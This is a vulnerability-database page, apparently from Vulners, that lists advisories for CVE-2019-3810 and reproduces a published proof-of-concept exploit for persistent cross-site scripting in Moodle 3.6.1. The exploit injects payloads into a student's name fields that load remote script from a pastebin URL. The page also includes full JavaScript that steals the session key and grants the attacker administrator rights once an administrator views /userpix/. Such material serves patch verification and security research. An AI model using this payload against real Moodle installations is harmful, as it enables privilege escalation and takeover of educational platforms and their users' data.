| Reporter | Title | Published | Views | Family All 23 |
|---|---|---|---|---|
| Moodle 3.6.1 - Persistent Cross-Site Scripting Vulnerability | 30 Apr 202100:00 | – | zdt | |
| Exploit for Cross-site Scripting in Moodle | 29 Apr 202109:38 | – | githubexploit | |
| CVE-2019-3810 | 30 Apr 202112:14 | – | circl | |
| Moodle Security Bypass Vulnerability (CNVD-2019-35823) | 1 Feb 201900:00 | – | cnvd | |
| CVE-2019-3810 | 25 Mar 201900:00 | – | cve | |
| CVE-2019-3810 | 25 Mar 201900:00 | – | cvelist | |
| EUVD-2022-5591 | 3 Oct 202520:07 | – | euvd | |
| [SECURITY] Fedora 28 Update: moodle-3.4.7-1.fc28 | 31 Jan 201902:12 | – | fedora | |
| [SECURITY] Fedora 29 Update: moodle-3.5.4-1.fc29 | 31 Jan 201903:21 | – | fedora | |
| Fedora 28 : moodle (2019-077cd6f168) | 31 Jan 201900:00 | – | nessus |
# Exploit Title: Moodle 3.6.1 - Persistent Cross-Site Scripting (XSS)
# Date: 04/2021
# Exploit Author: farisv
# Vendor Homepage: https://moodle.org/
# Software Link: https://download.moodle.org https://github.com/moodle/moodle/archive/refs/tags/v3.6.1.zip
# Version: Moodle < 3.6.2, < 3.5.4, < 3.4.7, < 3.1.16
# CVE: CVE-2019-3810
Moodle is a learning platform designed to provide educators, administrators,
and learners with a single robust, secure and integrated system to create
personalised learning environments.
The following is PoC to use the XSS bug on /userpix/ (CVE-2019-3810) for
privilege escalation from student to administrator.
1. Upload the XSS payload [1] to pastebin or other similar service.
Change the value of userid to your own id.
Let's say the URL is https://pastebin.com/raw/xxxxxxxx.
2. Login to your student account.
3. Set first name with:
" style="position:fixed;height:100%;width:100%;top:0;left:0" onmouseover="x=document.createElement
4. Set surname with:
('script');x.src='https://pastebin.com/raw/xxxxxxxx';document.body.appendChild(x); alert('XSS')
5. Ask the administrator to open /userpix/ page or put the link to that page
on your post and wait.
If successful, your account will be added as administrator.
See the demonstration video on https://github.com/farisv/Moodle-CVE-2019-3810
[1] XSS Payload for privilege escalation on Moodle. Change the value of userid to your id.
var webroot = '/';
var userid = '3';
var sesskey = '';
function get(path, success) {
var xhr = new XMLHttpRequest();
xhr.open('GET', webroot + path);
xhr.onreadystatechange = function() {
if (xhr.readyState > 3 && xhr.status == 200) {
success(xhr.responseText);
}
};
xhr.send();
return xhr;
}
function post(path, data, success) {
var xhr = new XMLHttpRequest();
xhr.open('POST', webroot + path);
xhr.onreadystatechange = function() {
if (xhr.readyState > 3 && xhr.status == 200) {
success(xhr.responseText);
}
};
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(encodeURI(data));
return xhr;
}
function setAdmin() {
// Assign administrator access to userid
bpath = 'admin/roles/admins.php';
data = "confirmadd=" + userid + "&sesskey=" + sesskey;
post(bpath, data, function(data){});
}
function getSesskey(data) {
var sesskey_find = data.indexOf('"sesskey":"');
sesskey = data.substr(sesskey_find + 11, 10);
setAdmin();
}
function payload() {
// We can find Sesskey inside JS script in main page
get('', getSesskey);
}
// Start
payload();Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation